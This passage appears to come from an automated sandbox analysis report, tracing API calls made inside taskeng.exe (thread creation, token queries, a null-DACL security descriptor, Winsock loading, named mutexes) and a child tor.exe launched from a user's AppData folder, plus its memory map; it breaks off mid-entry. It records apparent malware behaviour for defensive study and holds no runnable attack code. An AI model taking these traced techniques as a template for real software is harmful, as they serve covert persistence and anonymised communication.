SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.038] GetLastError () returned 0x0 [0105.038] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.039] GetLastError () returned 0x0 [0105.039] SetLastError (dwErrCode=0x0) [0105.040] GetLastError () returned 0x0 [0105.040] SetLastError (dwErrCode=0x0) [0105.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1f4b608, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c Thread: id = 149 os_tid = 0x84c [0105.121] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2bcf640, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe")) returned 0x1f [0105.121] GetSystemDefaultLCID () returned 0x409 [0105.121] GetCurrentProcessId () returned 0x2b4 [0105.121] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x7fefdbe0000 [0105.121] GetProcAddress (hModule=0x7fefdbe0000, lpProcName="ObtainUserAgentString") returned 0x7fefdc41fa4 [0105.121] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2bcd9c0, cbSize=0x2bcd9bc | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", cbSize=0x2bcd9bc) returned 0x0 [0105.124] FreeLibrary (hLibModule=0x7fefdbe0000) returned 1 [0105.124] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2bcdbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe")) returned 0x1f [0105.124] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2bcdd90 | out: TokenHandle=0x2bcdd90*=0x184) returned 1 [0105.125] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2bcdd00 | out: TokenInformation=0x0, ReturnLength=0x2bcdd00) returned 0 [0105.125] GetLastError () returned 0x7a [0105.125] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0x1, TokenInformation=0x1cf930, TokenInformationLength=0x2c, ReturnLength=0x2bcdd00 | out: TokenInformation=0x1cf930, ReturnLength=0x2bcdd00) returned 1 [0105.125] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0xc, TokenInformation=0x1f72b50, TokenInformationLength=0x4, ReturnLength=0x2bcdd8c | out: TokenInformation=0x1f72b50, ReturnLength=0x2bcdd8c) returned 1 [0105.125] CloseHandle (hObject=0x184) returned 1 [0105.125] GetLengthSid (pSid=0x1cf940*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0105.125] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x1f72b78, dwRevision=0x1 | out: pSecurityDescriptor=0x1f72b78) returned 1 [0105.125] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x1f72b78, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x1f72b78) returned 1 [0105.125] GetVersionExW (in: lpVersionInformation=0x2bcdba8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x2, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2bcdba8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0105.125] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0105.126] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x1cf970, lpbSaclPresent=0x2bcdd5c, pSacl=0x2bcdd50, lpbSaclDefaulted=0x2bcdd58 | out: lpbSaclPresent=0x2bcdd5c, pSacl=0x2bcdd50, lpbSaclDefaulted=0x2bcdd58) returned 1 [0105.126] SetSecurityDescriptorSacl (in: pSecurityDescriptor=0x1f72b78, bSaclPresent=1, pSacl=0x1cf984, bSaclDefaulted=0 | out: pSecurityDescriptor=0x1f72b78) returned 1 [0105.126] GetVersionExW (in: lpVersionInformation=0x2bcdc20*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2bcdc20*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0105.126] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2bcdd30 | out: TokenHandle=0x2bcdd30*=0x19c) returned 1 [0105.126] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2bcdd2c | out: TokenInformation=0x0, ReturnLength=0x2bcdd2c) returned 0 [0105.126] GetLastError () returned 0x7a [0105.126] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0x19, TokenInformation=0x1d2cb0, TokenInformationLength=0x1c, ReturnLength=0x2bcdd2c | out: TokenInformation=0x1d2cb0, ReturnLength=0x2bcdd2c) returned 1 [0105.126] GetSidSubAuthorityCount (pSid=0x1d2cc0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1d2cc1 [0105.126] GetSidSubAuthority (pSid=0x1d2cc0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1d2cc8 [0105.126] CloseHandle (hObject=0x19c) returned 1 [0105.126] LoadLibraryA (lpLibFileName="Ws2_32.dll") returned 0x7feff7e0000 [0105.126] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2bcdc88 | out: lpWSAData=0x2bcdc88) returned 0 [0105.129] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x1f48c8c) returned 0x1d2cb0 [0105.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1f47521, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0 [0105.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1f47659, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4 [0105.130] WaitForMultipleObjects (nCount=0x2, lpHandles=0x1f737d0*=0x1b0, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 150 os_tid = 0x85c [0105.168] StringFromGUID2 (in: rguid=0x2c9f1c8*(Data1=0x85b42b0a, Data2=0x98e0, Data3=0x3f84, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x2c9f9ce, cchMax=40 | out: lpsz="{85B42B0A-98E0-3F84-65D9-FE61A0417768}") returned 39 [0105.168] CreateMutexW (lpMutexAttributes=0x1f72b60, bInitialOwner=0, lpName="Global\\{85B42B0A-98E0-3F84-65D9-FE61A0417768}") returned 0x1b8 [0105.168] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) Thread: id = 151 os_tid = 0x86c [0105.168] StringFromGUID2 (in: rguid=0x2a6edd8*(Data1=0x85b47b09, Data2=0xc8e3, Data3=0x3f84, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x2a6f5dc, cchMax=40 | out: lpsz="{85B47B09-C8E3-3F84-65D9-FE61A0417768}") returned 39 [0105.168] CreateMutexW (lpMutexAttributes=0x1f72b60, bInitialOwner=0, lpName="Local\\{85B47B09-C8E3-3F84-65D9-FE61A0417768}") returned 0x1bc [0105.168] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0xffffffff) Process: id = "14" image_name = "tor.exe" filename = "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor.exe" page_root = "0x45bbd000" os_pid = "0x9b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x65c" cmd_line = "\"C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4615 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4616 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4617 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4618 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4619 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4620 start_va = 0x170000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4621 start_va = 0xed0000 end_va = 0x11aefff entry_point = 0xed0000 region_type = mapped_file name = "tor.exe" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor.exe" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor.exe") Region: id = 4622 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4623 start_va = 0x77720000 end_va = 0x7789ffff entry_point = 0x77720000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4624 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4625 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4626 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4627 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4628 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4629 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4630 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4631 start_va = 0x510000 end_va = 0x58ffff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 4632 start_va = 0x73c40000 end_va = 0x73c9bfff entry_point = 0x73c7f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4633 start_va = 0x73ca0000 end_va = 0x73cdefff entry_point = 0x73ccde78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4634 start_va = 0x73d10000 end_va = 0x73d17fff entry_point = 0x73d120f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4697 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4698 start_va = 0x60000 end_va = 0xc6fff entry_point = 0x60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4699 start_va = 0x730000 end_va = 0x82ffff entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 4700 start_va = 0x9f0000 end_va = 0x9fffff entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 4701 start_va = 0x721a0000 end_va = 0x7238ffff entry_point = 0x721a0000 region_type = mapped_file name = "libeay32.dll" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libeay32.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\libeay32.dll") Region: id = 4702 start_va = 0x740d0000 end_va = 0x74137fff entry_point = 0x740d0000 region_type = mapped_file name = "ssleay32.dll" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\ssleay32.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\ssleay32.dll") Region: id = 4703 start_va = 0x74140000 end_va = 0x741b6fff entry_point = 0x74140000 region_type = mapped_file name = "libgcc_s_sjlj-1.dll" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libgcc_s_sjlj-1.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\libgcc_s_sjlj-1.dll") Region: id = 4704 start_va = 0x741f0000 end_va = 0x74211fff entry_point = 0x741f0000 region_type = mapped_file name = "zlib1.dll" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\zlib1.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\zlib1.dll") Region: id = 4705 start_va = 0x74220000 end_va = 0x742a1fff entry_point = 0x74220000 region_type = mapped_file name = "libevent-2-0-5.dll" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libevent-2-0-5.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\libevent-2-0-5.dll") Region: id = 4706 start_va = 0x74850000 end_va = 0x7486bfff entry_point = 0x74850000 region_type = mapped_file name = "libssp-0.dll" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libssp-0.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\libssp-0.dll") Region: id = 4707 start_va = 0x75270000 end_va = 0x7527bfff entry_point = 0x752710e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4708 start_va = 0x75280000 end_va = 0x752dffff entry_point = 0x7529a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4709 start_va = 0x75440000 end_va = 0x7552ffff entry_point = 0x75450569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4710 start_va = 0x757e0000 end_va = 0x758dffff entry_point = 0x757fb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4711 start_va = 0x75970000 end_va = 0x75988fff entry_point = 0x75974975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4712 start_va = 0x75ab0000 end_va = 0x75b3ffff entry_point = 0x75ac6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4713 start_va = 0x75cd0000 end_va = 0x75cd5fff entry_point = 0x75cd1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4714 start_va = 0x75d10000 end_va = 0x75dbbfff entry_point = 0x75d1a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4715 start_va = 0x75dc0000 end_va = 0x75ecffff entry_point = 0x75dd32d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4716 start_va = 0x75fe0000 end_va = 0x76c29fff entry_point = 0x76061601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 4717 start_va = 0x76dd0000 end_va = 0x76e04fff entry_point = 0x76dd145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4718 start_va = 0x76f10000 end_va = 0x76f66fff entry_point = 0x76f29ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4719 start_va = 0x76fe0000 end_va = 0x76fe9fff entry_point = 0x76fe36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4720 start_va = 0x77130000 end_va = 0x77175fff entry_point = 0x77137478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4721 start_va = 0x77180000 end_va = 0x7721cfff entry_point = 0x771b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4722 start_va = 0x77280000 end_va = 0x7731ffff entry_point = 0x772949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4723 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 4724 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x0 region_type = private name = "private_0x0000000077440000" filename = "" Region: id = 4725 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4726 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4756 start_va = 0x74a80000 end_va = 0x74a95fff entry_point = 0x74a82dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4757 start_va = 0x110000 end_va = 0x14bfff entry_point = 0x11128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4758 start_va = 0x110000 end_va = 0x14bfff entry_point = 0x11128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4759 start_va = 0x110000 end_va = 0x14bfff entry_point = 0x11128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4760 start_va = 0x110000 end_va = 0x14bfff entry_point = 0x11128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4761 start_va = 0x110000 end_va = 0x14bfff entry_point = 0x11128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4762 start_va = 0x74a40000 end_va = 0x74a7afff entry_point = 0x74a4128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4763 start_va = 0xa00000 end_va = 0xccefff entry_point = 0xa00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4764 start_va = 0x370000 end_va = 0x4f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 4765 start_va = 0x75bc0000 end_va = 0x75c8bfff entry_point = 0x75bc168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4766 start_va = 0x76f80000 end_va = 0x76fdffff entry_point = 0x76f9158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4834 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4835 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4836 start_va = 0x590000 end_va = 0x710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 4837 start_va = 0x11b0000 end_va = 0x25affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011b0000" filename = "" Region: id = 4838 start_va = 0x830000 end_va = 0x92ffff entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 4839 start_va = 0x749d0000 end_va = 0x749e0fff entry_point = 0x749d1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4840 start_va = 0x749c0000 end_va = 0x749c8fff entry_point = 0x749c15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4841 start_va = 0x749a0000 end_va = 0x749b8fff entry_point = 0x749a1319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4842 start_va = 0x74990000 end_va = 0x7499efff entry_point = 0x749912a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4859 start_va = 0xdb0000 end_va = 0xdeffff entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 4860 start_va = 0xe00000 end_va = 0xe3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 4861 start_va = 0x2790000 end_va = 0x298ffff entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 4862 start_va = 0x2990000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 4863 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = 